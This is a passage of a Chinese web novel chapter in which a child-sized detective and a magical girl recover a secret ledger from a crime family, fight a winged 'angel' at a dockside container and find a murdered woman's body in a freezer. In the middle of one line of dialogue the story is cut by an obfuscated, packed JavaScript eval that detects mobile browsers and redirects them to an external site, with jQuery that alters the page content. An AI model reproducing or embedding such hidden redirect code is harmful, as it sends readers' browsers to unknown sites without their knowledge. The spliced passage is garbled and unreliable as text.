犬山晓觉得这个“朋友”八成就是一二七了。就现在来看一二三四的威慑力已经足够她维持自己在家族中的统治性了,但一二七却依然对其作为产生了异议。是因为一二七认为一二三四的作为会伤害到家族吗? “如果说一二三四让手下吉田川光带着重要账本逃离家族是为了证明她的实力,那一二七阻止她这样做又是为了什么呢?”犬山晓不懂就问。 “□□吧,一二三三收养他不就是为了这个吗?”启明星说。 “那为何不让一二三四的父母去做这件事,而是选择收养一二七呢?”犬山晓问道。 “可能性很多,舍不得孩子被亚贝琉压迫,她自己想长期维权所以驱逐子辈,或者干脆就是那个交易的规则里写了什么吧。”启明星思考的很快,“不过无论如何,在那时的一二三四的眼里,自己恐怕是为了继承家族而被生下来的工具吧,甚至没人指望她自己有什么特质,能继承交易就足够了。” “那如果说亚贝琉家族想要在一家族内引起混乱的话,她可能并不会全然反对吧。”犬山晓叹了口气,一二三四的本名也不是这个由十面骰决定的数字,这让她不免产生了一些感同身受的无奈。而一二七也同样只是个无法决定自己命运的普通人。 “那么,这些足够你给我一个答复了吗。”北野春看向启明星。 “亚贝琉想要引发大面积的混乱,并造成死亡,数量越多越好。湛,或者说存在X应该是想以此达到我们无法理解的目的吧,我们无法理解也就相当于存在X不会考虑我们的死活。”启明星郑重地说,“以天不渡家族的下场为例子,受白夜社控制的家族都无法摆脱控制。” “所以天生目说驱逐亚贝琉家族只是个幌子吗?”犬山晓问道。 “不,此举是为了保全与亚贝琉相连的Evo公司,恐怕也是那位CEO下达的指令吧。天生目家族常年插手各种政治区域,若是出事的话那接连就是城市层面的问题了。”启明星说。 北野春沉默不语。犬山晓看着她,明白她恐怕在思考并进行取舍。 是放弃与亚贝琉家族对抗,并继续为其效力,还是反抗,但每天担惊受怕地活下去。 放弃与其对抗的后果大概是北野家族中□□成员大幅度折损,但鲸岛集团的一切能得以保存,以北野春的做法来看她似乎更在乎这方面。若是反抗这样的做法,那谁都无法预料到天使们什么时候会对谁动手,甚至可能一会北野春刚走出内屋头就会被砍下来。 无论哪一边都会有所损失,北野春是在清楚这一事实的情况下进行思考的。就像是她一开始说的那样,她只是来确认这件事的结果,结果不会因她的作为就发生改变。 若是说亚贝琉的人是不分对象的纵火者,那这些以她们为圆心长久以来维持各方面运转的家族们就是首先被点着的人。跟着启明星看到了这些因其作为而壮大的家族,以及其首领们,犬山晓无法对其可能得到的下场产生同情。 在亚贝琉或者阿贝尔的眼里,人类并不是需要考虑的同类,这一点在白夜社内也同样适用。除了亚贝琉家族以外的所有存在都是工具,工具变得不好用了可以修,但如果把手处生出了尖刺,那就是该被丢进垃圾桶销毁的时候了。 犬山晓的目标是找到湛,并且消灭对方,这并不意味着从她死去之后的那一瞬间里一切都结束了。她可以作为魔法少女阻止邪恶的存在,但除此之外的她又能做些什么呢? 这是正常的吗?犬山晓不知道,她只知道那些□□人士哪怕不在了也不会对她的日常生活产生影响,但这样的想法是否又算是一种视而不见呢?她若是想要得到答案可以去问启明星,或者想想自己这样做之后是否可以坦然地告诉她的朋友们。 但北野春无人可问吧,犬山晓心想,无论是北野春还是一二三四,她们都需要在带领家族前进的同时对所有成员负责。她们不可能在做出决定前问过每一个家族成员的。 她只能这样,如一棵古树顶端的枝桠一般坐在那里,闭着眼睛。 亚贝琉家族,或者说湛的做法确实是反人类并且无视个人意愿的,但因此而聚集并被动提供帮助的,到底是工具,还是帮凶?但无论如何,犬山晓既无法去同情她们,也无法对其的选择和做法产生责备。 因为她们是需要负责的,而北野春只是坐在那里,就在诉说责任的重量。 我能背负起多大的责任呢?犬山晓心里这样想。似乎普通人都或多或少背负着一些责任,这些责任是普通人感到疲惫,不自由以及其它痛苦的原因,北野春只是个普通的老人却要决定那么多人的死,她做过多少次这样的决定,又背负着多少责任呢? 而犬山晓作为魔法少女,若是说有责任要背负也是负责清除魔物,她不需要做出决定。 但是啊,犬山晓心想,若是有一天她也面对着这样的选择,她也想要能够背负起所有责任,并做出选择的勇气。 “接下来我们就要去找一下那位冒牌司机和她的货运车了,能找到货运车的话吉田川光的下落就呼之欲出了。”启明星说着,站了起来,“如何,犬山小姐,有什么感想吗?” “既然你知道我的身份,那你也明白,这件事我们不会袖手旁观吧。”犬山晓看向北野春。 “这是两回事,你们对那些东西负责,而我则要对我的家族负责。”北野春抬起眼说,“这里就不劳你们费心了。” 犬山晓看着她,心想那评价说的确实对。 “那就没什么好说的了。”犬山晓看向启明星,“启明星侦探,我准备好了。” “那么我们先行告辞了,祝您,”启明星想了想,“一路平安。” 二人一路走到入口处,六十七号坐在待客区前面的台阶上,看着大门外发呆。 “走了。”启明星说,他这才站起来,把放在一旁的鞋子穿上。 “屋子里的另一位女士不准备离开吗?”六十七号问道,“那位侍者好像很害怕她的样子,说想等对方离开之后再收拾屋子。” “谁知道呢?”启明星说,“或许根据情况来看,屋子里会多出来什么也说不定。” 说完,她看向犬山晓,对方便将一个物品递给她。 那是一个大拇指大小的U盘,藏身在那镶嵌于石壁中的骰子后方,犬山晓取下骰子后就发现了,但并没有在北野春在场的情况下拿出来。 “没错,就是这样!”启明星满意地笑了,“事情进展得十分顺利,感谢您的帮助!” “这个U盘就是吉田川光携带的那个账本吧,接下来需要去找她本人。”犬山晓问,“您有线索了吗?” “线索不就在这里吗?”启明星晃了晃手里的灰棕色金属壳,“人在物在,那人就应该和物是绑定的,上车了之后就来看看吧!” “看这个里面的东西吗?”犬山晓有些犹豫,“这是很重要的账本吧。” “没错,是很秘密的账本呢。”启明星说着,反而愈发兴奋了,“到底是有什么秘密在里面呢?” 看着启明星这幅样子,犬山晓便也相信她的判断,没有再干涉她的决定了。 回到车上之后,启明星启动了一台老式的厚重笔记本电脑,并接入了U盘,出乎意料的是并没有弹出任何需要验证的防护措施,一个象征外来硬盘的图标出现在分辨率不高的屏幕上,启明星毫不犹豫地点开,同时使用特殊仪器监视U盘本身的波动。 “…嗡…..嗡”文件夹中的一个音频文件打开后发出了隐约的噪音,启明星拉高频谱确定了这是某种节奏规律的固定信号,随后她取出了一个扫描仪,在犬山晓看来这与超市结账用的扫描仪有些像。 “连接数据库需要一定时间,先看看别的东西吧。”启明星说着翻看起了其它文件。 虽然现在说这些已经晚了,但犬山晓还是很纠结自己是否应该去看这些东西。 “犬山小姐如果不感兴趣的话就不用看哦。”启明星歪过脑袋来说,“实际上这个音频不需要启动U盘也可以被检测到,我是因为自己好奇所以才打开看的。” “这样不会惹上麻烦吗?”犬山晓有些担心。 “在我看来上这个U盘经过我的手以后她们就会默认我看过了,毕竟现在的科技水平早就有了能越过检查无痕查看内容的手段,所以这其中大概也不是什么特别重要的内容啦。”启明星说着,查看起了文件。 “这也是侦探需要考虑的东西啊。”犬山晓为其中的复杂感到感慨。 最大的文件是一份容量巨大的表格文件,大到可以被称作是某种数据集了,但副标题确实是与记账内容有关的,联系到之前所说的一家族不存在系统的经济部门一事,这个账本的存在就变得可疑了起来。启明星这样想着将数据集扔进表格处理软件中展开,横列迅速按序出现,滚动,拉长下拉条,暂时没有停下的打算。 “很遗憾,我的大学专业是人类文化学,对会计财务相关内容不算了解呢。”启明星迅速掠过了那些账目,喃喃自语道,“不过我也能看出这些账目很奇怪,大多数都是整数。” “您居然已经大学毕业了吗?”犬山晓对此大为震惊,“那得是多久以前的事情了!” “都说了我只是看着年龄不大啦。”启明星再次解释道,“侦探需要的东西可不只是大学里能教,文凭在十年前可是很好用的,不过那时我也老是被人问是不是天才儿童什么的。” 检测仪发出了反馈,启明星迅速查看内容,确认声波来源的发信器所在方位,汽车启动,按照定位开往未知的目的地。 “说实话,这个账本的内容异常性应该远没有达到需要被偷走的程度。”启明星揉了揉眉心,显得很疲惫的样子。 “这样说我也没有很意外了,现在我总感觉那些人做事总是一套一套的。”犬山晓也叹了口气,她难得遇到如此复杂的事件,不由得对这种停滞产生了一种麻木感。 “目的被看穿就会被利用,所以得多套几层呀。”启明星笑了。 “…启明星侦探,我们最后的调查结果不会是没有结果吧,结果那样的结果也是被谁拿去利用的一环。”犬山晓为此感到担心,她以为自己能接受这种情况,但到头来还是觉得如鲠在喉。 “现实不是侦探小说,工作无法实现梦想。”启明星叹了口气。 “我应该接受吗?”犬山晓迷茫地问道,似乎在问启明星,也似乎在问她自己。 不接受似乎是很有个性的,但接受似乎才是成长的体现,二者非要选一个的话,非要选一个的话,犬山晓扶住了脑袋。为什么这种情况下即使努力了也没办法得到一个能两全其美的结果呢? “能力不够就需要包装,将现实包装成戏剧,将工作包装成理想,但我们还远不到需要妥协的阶段。犬山小姐,请不要放弃。”启明星说话的声音很坚定,就像她一直以来的那样。 是了,犬山晓心想,启明星才是那个反复被现实与理想的抉择拉扯的人,也理应是早就做出选择的那个,那为何她还能如此坚定自我呢? “启明星侦探,您上大学的时候就决定未来成为侦探了吗?”犬山晓好奇地问,正如许久以前她问艾克里普关于未来的事情那样,她并不是因为想要知道答案才问的,而是因为害怕思考自己的未来才问的。 但在不久之前她接受了自己的过去,那么现在接受自己的未来也未尝不是一个趁热打铁的好方式吧?犬山晓是这样想的。 “在很久以前,很久很久以前,当别人问我‘你的梦想是什么?’的时候,我是这样回答的。”启明星看着犬山晓,说话时很平静,“我说:‘我要成为最闪耀的那颗新星’。这是一个很宏大,很空泛,很遥远的梦想,遥远到似乎可以一直被挂在天边照耀我的路。” “确实如此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807994|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种话感觉是小孩子在作文上写下的东西。”犬山晓笑了。 “对吧?其实对于当时的我来说效果也就差不多了,是敷衍外界的窥探欲的一个幌子。”启明星也笑了,“但是您看,我一直都是这幅模样。” 启明星伸出了自己的右手,哪怕有些茧,也明显是一只短小稚嫩的,属于孩子的手。 “那时我在图书馆当义工管理员。读杂志时我是爱阅读的志愿者,读侦探小说时我是破案爱好者,读逻辑学课本时我是天才儿童。所有人都期待我的未来,但那时我已经在不同的图书馆里辗转多年,换算起来也至少是个成年人了,但那样的话我的头衔又会变成不务正业。”启明星说起这些像是谈起什么有趣的见闻一般。 “有时我就会想,我会不会一直是这幅模样,这幅小孩子模样,说着伟大的梦想,等待自己成为大人再考虑未来的事情。”启明星问:“犬山小姐,您不如猜猜看,我这样想的时候心里是什么感觉?给您三个选项吧,悲伤,庆幸,迷茫。” 这三个选项都是犬山晓想选的,她带入每一种情绪都能说得通。 “是三种全都是吗?”犬山晓问道。 “没错,您很懂节目效果呢!”启明星点头,“先是庆幸,察觉到了庆幸之后便是悲伤,悲伤之余就是迷茫,这样想来,我到底是做了多久的梦呢?” “这种过程被您称作为是做梦吗?那一定是噩梦吧。”犬山晓说。 “大概是吧,无论梦里梦外,那颗星星都一直照耀着我,于是我许久之后便开始真切地考虑如何实现梦想了。”启明星说着摸了摸右眼的眼罩,“一旦开始行动,时间就变得不够用起来了呢。” “这对您来说并不容易吧,虽然说现在人不喜欢以貌取人,但您无论如何看上去都是儿童的样子。”犬山晓说。 “没错,大学里也好快餐店里办公室里也好,哪都一样。”启明星摊了摊手说,“不过作为侦探在案发现场时就不一样了,理所当然地摆出自信的姿态,说出有足够影响力的话,就没有人能以貌取人了。” “但这一点不是侦探也可以吧?”犬山晓想起了一二三四,“只要是有足够影响力的人都可以达成这一点。” “没错,所以我并不是想要成为侦探,我想要成为耀眼的星,毕竟我可是启明星啊。”启明星理所当然地说道,哪怕只有一只眼睛,目光的份量仍旧充足。 “…我真的很羡慕您能这样说。”犬山晓说,“我依然没办法自然地说出我的未来想做些什么,甚至想到这里我就害怕,明明相信努力就能有好结果的人也是我。” “无论您是否害怕,未来都会到来的,或许您现在所经历的就是过去您逃避着不想面对的未来呢?”启明星晃了晃手指,“请不要如此不自信啦,大家其实都是一样的,这样想的话您的心里会好受些吗?” “有好受一点。”犬山晓如实点头,“我们都是一样的吗?哪怕是启明星侦探您这样的人也会害怕未来吗?我觉得您没有可以害怕的东西。” 听见这句话的启明星愣了愣,并没有如之前那般自信地开口,她的面部表情在逆光下模糊不清,她略微低头,看了看自己的手。 “我这样,真的是正常的吗?”说出这句话的人是启明星,“头发会被扯断但不会长长,手掌会磨出茧,视力会变得模糊,甚至连续熬夜之后肝脏也会受损。这不就是一个普通人吗?” “这样不好吗?我认为您已经不能被称为是一个普通平凡的人了,您以这样的身躯做出了许多了不起的事情。”犬山晓问道。 “真的好吗?”启明星放下了手,肩部因吸气而耸起,随后,悠长的叹息和她的语句一起被吐出去,回荡在车厢中。 “我到底,什么时候会死去呢?”她问道,“是要等到器官完全老化报废,还是忽然有一天时间到了,我就忽然死去了呢?” 她已经度过了远超她的外表模样几倍时间的人生,剩下的还有多少呢? 犬山晓意识到,这些是启明星真心实意的疑问,夹杂着恐惧的迷茫令她感同身受,无法做出回应。启明星是否曾经将了解这件事的希望寄托于艾克里普身上呢? “抱歉,”犬山晓只能这样说,“我不知道。” 过了一会,启明星再次露出了笑容。 “您没有道歉的必要,反倒是我需要对造成的疑问道一声歉。”她说着,没有再谈及刚才的事情,专注于电脑中的信息。 老式的笔记本电脑放在她的腿上显得格外笨重,但她就连等待页面加载时的样子都是熟练的,排热风扇的声音在车厢内嗡嗡作响。 我是不是又问了个不太好的问题呢?犬山晓不禁这样想,可她又确实因为启明星的回应而获得了些什么,这样也是可以的吗? 犬山晓实在是想不清楚,但很快她意识到,她得知了启明星的过去,那么就用她自己的过去来交换会不会是个好主意呢?但一想到要谈及过去,她的心脏就越跳越快了。 “启明星侦探对我的过去感兴趣吗?”犬山晓先是这样问了。 “您愿意说的话我会很开心的,毕竟我对你们所有人都很感兴趣!”启明星坦诚地说。 “那样的话,其实,我和你是一样的,以这样的外表生活了远超外表年龄的时间。”犬山晓说起这里有些不好意思,“说不定这样算起来我和您还可以算是同龄人呢?哈哈哈。” 她越说越不好意思,谈及过去的紧张和对自己的不自信使她拳头都握紧了起来。 “这样啊!”启明星若有所思,“我以为你们这样是正常的呢,毕竟艾克里普小姐她不就也是这样的吗?” “艾克里普是特别的啦,无论是羽生还是未央,她们都会正常地生长指甲或者头发,过去一年的时间里也有长高,体检报告里也没有缺少什么东西。”犬山晓比划着说,“但是我从很久以前,或者可以说一开始就是这样了。” “原来如此,原来是这样。”启明星一副若有所思的模样,“一开始是指,您也和六十七号有过相同的遭遇吗?如果您不愿意说的话也没关系哦!” “…没关系,我确实也是人体实验的受害者,我以前很不愿意提起这些事情,一直说记不清楚,没有印象什么的。”犬山晓发现自己真的说起这些时,内心意外的平静,“但是我其实是记得更久之前的事情的,还有,我也记得我的妈妈。” “妈妈?可是…”启明星有些犹豫。 “实验室是后来才开始只用孤儿做实验的,更久以前,那里会干涉怀孕的过程来人为控制孩子身上的特殊性。”犬山晓明白启明星想说什么。 “…转折点是2000年,不对,应该是更久以前吗?”启明星开始思考。 “我的妈妈带着我逃跑了!”犬山晓说起这里时眼睛亮了起来,“对啊,妈妈带我逃跑了,我现在才意识到她有多勇敢。我们一起生活的日子从现在来看是很辛苦的,但是也很模糊不清,我甚至不知道妈妈的名字。后来我想丢掉过去的东西,却也差点丢掉这么重要的东西。” 说起这里时,那时的一些画面就隐约能浮现在眼睛前面了,那些很简陋的,与孤儿院房间截然不同的环境,下着雨有些冷的夜晚,力气很大的,带着颤抖的拥抱和温暖的感觉,以及她的声音,这些记忆的标签属于一个犬山晓一直向往却又自知无法拥有的名字:母亲。 但是孩子当然是有母亲的,犬山晓也有,她甚至记得这些回忆,只是这些与那些不太好的东西混了起来,若是要挑出来就必须忍受玻璃渣刺伤手的疼痛。 “但是后来有一天她出门以后很久很久都没有回来,我自己出门去找,被带去警察局之后又被带回了实验室附属的孤儿院。”犬山晓的语气失落了下来,“不知道妈妈怎么样了,她也是受害者,也没有魔法。” 对此启明星并不抱有什么好的猜想,她叹了口气。 “您能这样认真地谈论起自己的过去,那也应该有勇气面对自己的未来的。”她只是这样说,“向前看吧,犬山小姐。” “嗯,你说的对。”犬山晓点了点头。 笔记本滴滴作响,数据解构结果得出,启明星循声看去,顿了顿,开始确认收获,收获略大,除却超300mb的完整表格文件之外再无其它,表格副标题有严谨分类,除了最后一张。 那么目标当然就是最后一张,启明星拉出刻意可疑者,密密麻麻的文字与她打了个迎头照面,控诉自己不该委身在如此狭隘的行间隔中。文字量不比一份结案报告长但也不会少于晕车药的说明书,启明星就着车辆行驶时的摇晃将文字一一服下。 “咚——”车辆拐弯,启明星顺势用车窗敲击额头。 “您没事吧!”犬山晓吓了一跳,此前从未出现如此情景,她下意识还以为出现了枪击,回过头发现窗户没出现碎裂就松了口气。 “我受到了了精神攻击。”启明星合上了电脑以隔绝那些文字信息。 “…我没有感受到魔法气息,但精神魔法并非我的专长所以我无法判断,我带您去找艾克里普处理一下吧!”犬山晓紧张地说。 “不必,并非魔法所致,而是心情。”启明星笑了笑,“抱歉让您担心了,伤口留着还有用,不必急着处理。” “您,伤心了吗?”犬山晓犹豫地问,“伤心还是及时处理比较好的,哪怕只是紧急的暂时处理。伤口在痊愈之前就只会带来疼痛和感染风险,请不要回避治疗。” “并非是那样宽容的感情啦,更像是,窒息?”启明星摆了摆手,“留着伤口呼吸一下就会有所缓解的,请无需在意,它往往愈合的很快。” “我相信您的判断。”犬山晓这样说着但还是有些担心。 62.INMATE-008 车辆短暂地停下了,犬山晓看向窗外,看周围停留处似乎是某处工厂入口。车辆通过入口后驶入了停车场,但并没有找个个位置停下,而是跟着启明星的指挥开始走走停停。 “再往前十米,左转。”启明星看着定位界面说,犬山晓看着,觉得不如下车看看。 “我来拿着这些,我们下去找吧,就在附近了吗?”犬山晓问道。 “那就麻烦您了,没错,应该就是附近的某个货运车或集装箱中的一个,不排除作案者有转移过失踪者的可能性。 ”启明星说着把手里的东西交给了犬山晓,几人下车后她就捧着电脑跟着对方,就身高而言居然是合适的。 拄着拐杖在停车场走走停停了一会后,启明星确定目标就在她现在附近五米以内。 在场的分别是一辆中小型货运车,一辆大型红色货车,一辆带着小型集装箱的推车,以及一辆普通的中型客车。 启明星分别摸了摸每一个的外表,并确认探测器的反应。 “六十七号,把这扇门打开。”启明星像是敲门一般用中指指节敲了敲小型集装箱的门。 “好的老板!”六十七号回应道,走到小型集装箱门前,用力将挂锁扯下,金属摩擦发出刺耳的声音,随后落地,集装箱的门现在可以被拉开了。 其中有一个大概直径2米左右的立方体,与室外环境截然不同的昏暗无光,内部只有一个物体,即一个便利店用的标准冰点冷柜,外包装都没变,上面的可移动玻璃门上还贴着价签。集装箱内没有电源,所以冷柜现在没有在工作,但其中依然散发阵阵冷雾。 启明星先爬了进去,犬山晓跟在她旁边,随后是六十七号的脚步。 “你们打算怎么做?”有人问,是个男性声音,与六十七号相仿。 “…六十七号?”启明星回头。 二人的身后,一个身影逆着光堵在集装箱门口,他就是声音的主人。 那人与六十七号身高相仿,但身型瘦些,身着黑色制服与罩裙,左半边身体被披风遮掩,同时,他的头发也是与六十七号相仿的蓝色。 但这不是六十七号,犬山晓抱着笔记本把启明星护在身后,看向不远处,地面上,六十七号脖子扭曲着躺在地上,没有动静。 “你是,天使中的一个。”犬山晓肯定地说,她将笔记本电脑小心地放在地面上,眼睛没有离开过对方,估算着对方的实力。 “亚贝琉,拉德,各位,初次见面。”那人问候道,语气没什么起伏,“那么,你们打算怎么做?” “…原来如此。”启明星也看见了六十七号倒地不起,“一二三四需要吉田川光,无论死活,你,或者说你们又如何呢?” “这里面就是?”犬山晓吓了一跳,“你杀的?” “不,杀人并非我所为,冰柜中确实是吉田川光的尸体。”拉德一板一眼地说,“她的身上少了某个东西,若是你们需要带走她,那我就会杀了你们,若是你们就此离开,那我们不会追。” “我能对付这个人,但我不确定附近有没有其它存在。”犬山晓微微侧头说。 “不,再等一下。”启明星说,“她已经死了,你们要她的尸体做什么。” 那人没有应答。 “…那就换一种吧,那您给我个说法吧,随便什么都可以,比如说真凶是谁,为什么杀人,我需要带给一二三四一个答复。”启明星说。 “杀人者是亚贝琉家族追随者的后代,她的杀人行为是不必要的,具体原因我也不清楚。一家族的首领清楚做出这件事的后果和代价,你们不需要给她答复。”拉德依旧是问什么答什么。 “果然,一家族想借此机会和你们断开联系,不,单方面退出白夜社这个大工厂吧。”启明星笑着说,“表格里最后那张和规则类怪谈似的,只能说幸亏她读完大学了。” “什么文章?”犬山晓奇怪地问,她看见拉德左半边的斗篷动了动,但没有魔力气息。 “那个东西在你们手里。”拉德肯定地说,“你们不能走了。” “告诉一二三四如何‘上供’以避免被眼前这位的同事砍掉脑袋的规则,密密麻麻的全是地雷啊。”启明星看着不远处,“不是每个首领都和北野春一样被承认的?相反,也不是每个首领都承认它们。” 忽然,有如野兽嘶吼般的低哑叫喊从不远处的六十七号嘴里传出,他以一个违反人类行动规律的姿势仰着拔地而起,以小腿为轴心将自己朝拉德投射了出去一般,那力度将拉德往一旁扑了近十米远。 拉德一顿,迅速从疼痛中反应过来并回身进行格挡将其挡开,但六十七号无视对方的任何动作再次冲了过去,双手如猫科动物的钩爪一般抓向拉德的心脏。 犬山晓看到六十七号的脖子部位本还在冒血,但就在他扑过来的那一瞬伤口就修复完毕了。 六十七号的扑击毫无章法,全靠本能的攻击性和力量,以及卓越的反应力。拉德几次避之不及被其打中身体,最后被抓住了衣领。 “不过是失败品。”拉德的面色沉了下来,那一直藏在披风下的左半边身体露出身形,那竟是一只等人高的羽翼,通体银白色,散发出金属特有的冷意和蓝光。 此时那仅仅只有左半边的羽翼展开后直径有近人高,他高举羽翼向下劈去,六十七号不躲不避,锐利的羽翼边缘如电锯般劈开了六十七号整个右臂,骨肉立显,那右手还紧抓着对方的衣领,此时如脱险的木偶手臂一般垂下,只有手掌还没放开。 但即使是这样六十七号依旧没有任何反应,没了右臂后他以左臂为重心发力将拉德贯在地上,张开口撕咬对方裸露在外的脖子部位。 下个瞬间,拉德倒地的身影消失,重新出现在正上方两米处,他举起那电锯般的羽翼就要向下挥砍,目标是六十七号的脖子。六十七号似有野兽的直觉一般头也不回地想要避开,但右臂缺失使他不由得重心失衡,倒在地上。 “咚——”这是羽翼劈砍进地面的声音,拉德整个上半身都伏在地面上,随着他的起身,地面上留下了如水泥未干时有重物落下留下的痕迹,一个巨大的豁口。 犬山晓小心地把拖着的六十七号放在地上,不去触及他的伤口,但六十七号即没有如完成那样有礼的道谢也没有痛呼,他只是一顿一顿地想要在没有右臂的情况下站起身来。犬山晓看向远方的拉德,先起身,没有去管明显看着不太对劲的六十七号。 “你,”拉德皱眉看向犬山晓,“你不是她们中的一个。” “她们?”犬山晓愣了愣,但很快意识到对方在说谁,“我是她们中的一个。” “我们说的不是一件事。”拉德反驳说。 “是一件事吧。”犬山晓皱眉。 拉德没有再争论什么,他的左半边翅膀完全展开,披风不见了踪影。以那翅膀造成的攻击来看,犬山晓可以确信它没有任何飞行能力,但不确定是否有相关的魔法。 那羽翼上层层叠叠的羽毛边缘如蔬菜擦丝器一样,是纯正的武器,并非身体结构。不过犬山晓并没有在对方身上看见左臂,或许那翅膀确实是左臂的替代品。 真不想被那个擦到衣服啊,犬山晓心想。 下一刻,拉德又凭空消失了,犬山晓明白这是空间魔法,但比起她本身,她更担心启明星的安全问题,而六十七号有着不错的再生功能暂时不需要管。 于是犬山晓快速回到集装箱中启明星附近,果不其然,拉德在集装箱前出现,他落地的一瞬间犬山晓便避开翅膀跳跃到他的身前,右手一拳击出冲向对方的胸膛部位,没有留手。 短暂的一瞬间停顿之后,骨骼寸寸开裂的声音传来,拉德下一瞬间被避无可避的巨大冲击力击飞出去,整个人连带翅膀一起被镶嵌进了后方大货车的车头,挡风玻璃与司机座位一齐塌陷进后方的集装箱内,就这样他的胸口依旧没有出现明显的贯穿伤,犬山晓心想这人还挺结实。 但很快,她意识到那货车的车头算是彻底被毁坏了,她瞬间感到了心虚。 “别担心,”启明星一边快速在包里翻找着什么一边说,“这里的损坏有人负责,最近有其它事情更重要,这种小打小闹不算什么。” “那,那就好。”犬山晓松了口气,跳出集装箱等待拉德的反应。 与此同时六十七号在这短暂的时间内也缓过来了,拖着破破烂烂的上半身一边嘶吼着什么一边越来越快地朝犬山晓跑来。启明星拄着拐杖走上前,在六十七号准备扑上来前,举起左手里的针筒丢出,注射针精准地扎进六十七号的脖子。 “他这样没关系吗?”犬山晓分了一丝心去关心六十七号。 “正常情况,不用担心。”启明星一副风轻云淡的样子。 药物见效很快,六十七号头朝下倒在了地上,他被砍断的右臂已经重新长出来了,启明星看向远处的断肢,皱着眉开始用手机发消息。 拉德终于从废墟中爬出来了,就在犬山晓准备彻底击杀对方时,他的身影再次消失了。 “他跑了。”启明星说着丢给缓缓爬起来的六十七号一包纸巾,“走吧,去见见吉田川光。” 冰柜中,吉田川光以一个蜷缩的姿态躺在里面,身上堆叠着许多冰袋,冰袋略微融化,冰雾与水的生味混杂着微妙的臭味,从带着冰淇淋价签的玻璃门缝隙中散发出来。启明星小心地取出部分冰袋,隔着手套开始确认尸体的状态。 冰柜是便利店的常见款,红色的外包装上还贴着各种冰点的海报,那些可爱的涂鸦已经略微褪色了,配合现场,那些不显眼的污渍让犬山晓很难忽视。 “杀人者躲在侍者小良的手推车下方避开监控进入吉田川光的房间,对侍者进行威胁之后与即将自杀的吉田川光进行交谈,吉田川光自愿与其离开,却没有随身携带重要物品,她知道对方的来意以及记得自己的使命,真是聪明又忠诚。”启明星赞叹道。 “杀人者没有威胁吉田川光,她是自己离开的话,为什么她还是死在这里了呢?”犬山晓看着如沉睡般的吉田川光问道,如同在问她本人一般。 “这是临时杀人。”启明星检查尸体,“这些冰袋是便利店买的,冰柜是这里的附近垃圾处理厂找的,造成致命伤的武器并非专业人士用品,甚至那些痕迹还要拜托那位拉德处理。而且虽然说他说自己并非杀人者,但他出现在这里也意味着可以把杀人者的身份推到他的头上。” “这样好吗?”犬山晓有些犹豫。 “这样不好。”启明星关上了冰箱门,“我可以告诉一二三四杀人者是她一直畏惧的存在以让她对自己的决定三思,但这无趣至极,我必须找到真相。” 随后,她的手机适时地产生了震动。 “新手会经常反复回到现场查看,这附近监控勉强还在运作。”启明星看了一眼消息就收起了手机,“走吧,去看看真凶。” 从停车场区域离开后,犬山晓才发现这里总面积实际上很大,不仅仅只有一块工厂,而是许多工厂相隔不远建造在一起的园区,不远处有船,再望远就是海。 “这里是码头啊。”犬山晓理解了。 “没错,这里就是东流湾港口码头附近的工业区,不过离中心有一段距离,这里只是最角落的工人宿舍区域。也有非工人居住在这里,甚至以此为中心形成了一个小型的生活圈。”启明星说着,一边确认地图一边在狭小的巷子里穿梭,犬山晓和勉强收拾出来一个人型的六十七号跟在后面。 正如她所说,周围的建筑大多是老旧的四五层小楼,彼此之间距离极近,从地面抬头只能勉强看见一线天,以及黑色的电线杆与电线连成的路径,鸟雀或飞过或停留,只显身影不展现细节。 周围小饭店倒是不少,五色店牌彼此连接形成了彩虹的横截面,此时不算正餐时间,只有其中些许还传出些食物的香气。但这香气与周围污渍造成的隐约异味与生物臭混杂,并不宜人。 “刚才那个人,你认识吗?”犬山晓看着周围的环境随口一问。 “认识呀,那是我哥。”六十七号也随口一答。 “…刚才那个天使,是你的哥哥。”启明星回过头,神情诧异地一字一句问,“你怎么从来没和我说过你还有一个哥哥?而且还活着?” 字里行间可以听出她对这个消息的惊讶,犬山晓也非常震惊,她意识到六十七号说出这个消息之后他本人居然是没什么反应的。 六十七号时不时尽可能优雅地甩一下脑袋,但他头发上粘着的血污得用水洗才能洗干净。不过现在他周围脏兮兮的环境让他身上的污渍并不显眼。 “我也不知道他还活着。”六十七号说到这里难得的若有所思,这样来看确实与拉德那张脸看着是有些许相似的,“而且他在洗脑之后肯定不记得我了,所以无所谓啦。” “怎么能是无所谓的呢?”犬山晓万分不解地反驳,“再怎么说那可是你哥哥,你的亲人,你们是一起长大的吗?” 若是她知道自己母亲还活着,哪怕对方也接受了洗脑,她也会想方设法让对方恢复正常的,即使做不到也会因此痛苦无比,至少不会觉得无所谓。 “确实,我小时候天生肌肉萎缩,他少了一只胳膊,我们一起进入实验室的,也一起被带走的。”六十七号如实相告,他表情并没有什么怀念或者悲伤。 “你并不觉得在实验室是痛苦的,只是最后你因为即将面临报废,所以才逃出来了,对吗?”启明星也没有再表达更多的惊讶了,她小心地用拐杖确认前方的砖块不是空砖,随后才踩上去。她这样说也是在替无法表达清楚的六十七号回应犬山晓。 “就是这样,老板明察!”六十七号回应得很快。 犬山晓大为震撼,她怎么也想不出六十七号是抱着什么样的心态一直活到现在的,怎么会有人的心能宽大成这样。甚至对于自己亲人那副样子也是一副“哇好巧你还活着啊”的态度,全然没有因为二人身上发生的事情有所反应。 周围偶尔有蚊虫飞过,声音扰人思绪。它们或是一闪而过,或是粘在脏污斑驳的混凝土墙壁边,或是落在那攀附于更加狭小的过道内侧的金属楼梯上,节肢颤动,无处不在。 “无法理解。”犬山晓放弃思考这个人的思想了。 说话间,启明星带着几人在一间破旧的三层楼房前站定,四周有些许小店铺,偶尔有人从黑洞洞的高窗内探出脑袋来看她们三个与这里环境不相符的人。三人眼前是一间被不透明毛玻璃门掩盖的小店,里面不时传出叫骂的声音,以及浓重的烟味,和隐约冒出的,异样的甜臭味。 “…这个里面是什么。”犬山晓后退了一步,以避开那股味道。 